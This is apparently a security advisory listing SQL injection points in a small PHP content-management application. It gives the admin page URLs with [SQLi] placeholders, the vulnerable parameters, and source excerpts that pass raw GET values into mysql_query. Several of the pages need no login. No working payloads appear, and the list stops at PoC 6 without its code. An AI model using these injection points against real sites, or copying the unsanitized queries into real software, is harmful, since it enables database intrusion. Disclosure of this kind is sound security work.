# Side note:
# This application is nothing fancy, and really shouldn't be used other than
# for practicing SQLi. Pretty much every page has at least one (1) vulnerable
# parameter.
# Vulnerability:
# Due to improper input sanitization, many parameters are prone to SQL injection.
# Most of them require to be authenticated with an account (admin).
# But there are a few pages that will cause an error without having to logon.
# PoC 1:
# No Authentication Required.
# Page: /admin/item_delete.php?id=[SQLi]
# Vulnerable Parameter: id
# Code:
15 $id = $_GET['id'];
16 $title = NULL;
17 $text = NULL;
18 database_connect();
19 $query = "select title,text from content where id = $id;";
20 //echo $query;
21 $result = mysql_query($query);
# As stated, nothing is checked before passing "id" to MySql.
# This results in a MySql error.
# PoC 2:
# No Authentication Required.
# Page: /admin/item_status.php?id=[SQLi]&status=1
# Page: /admin/item_status.php?id=1&status=[SQLi]
# Vulnerable Parameter: id & status
# Code:
10 $ref = $_GET['ref'];
11 $id = $_GET['id'];
12 $status = $_GET['status'];
13 $update = "UPDATE content
14 SET status='$status'
15 WHERE id='$id'";
16 $query = mysql_query($update)
or die("Their was a problem updating the status: ". mysql_error());
# As stated, nothing is checked before passing "id" and/or "status" to MySql.
# This results in a MySql error.
# PoC 3:
# Authentication Required.
# Page: /admin/item_detail.php?id=[SQLi]
# Vulnerable Parameter: id
# Code:
15 $id = $_GET['id'];
16 $title = NULL;
17 $text = NULL;
18 database_connect();
19 $query = "select title,text from content where id = $id;";
20 //echo $query;
21 $result = mysql_query($query);
# As stated, nothing is checked before passing "id" to MySql.
# This results in a MySql error.
# PoC 4:
# Authentication Required.
# Page: /admin/item_modify.php?id=[SQLi]
# Vulnerable Parameter: id
# Code:
60 database_connect();
61 if(isset($_GET['id'])) {
62 $id = ($_GET['id']);
63 }
64 $select = "SELECT *
65 FROM content
66 where id = '$id'";
67 $query = mysql_query($select);
# As stated, nothing is checked before passing "id" to MySql.
# This results in a MySql error.
# PoC 6:
# Authencitation Required.
# Page: /admin/item_position.php?id=[SQLi]&mode=up
# Vulnerable Parameter: id
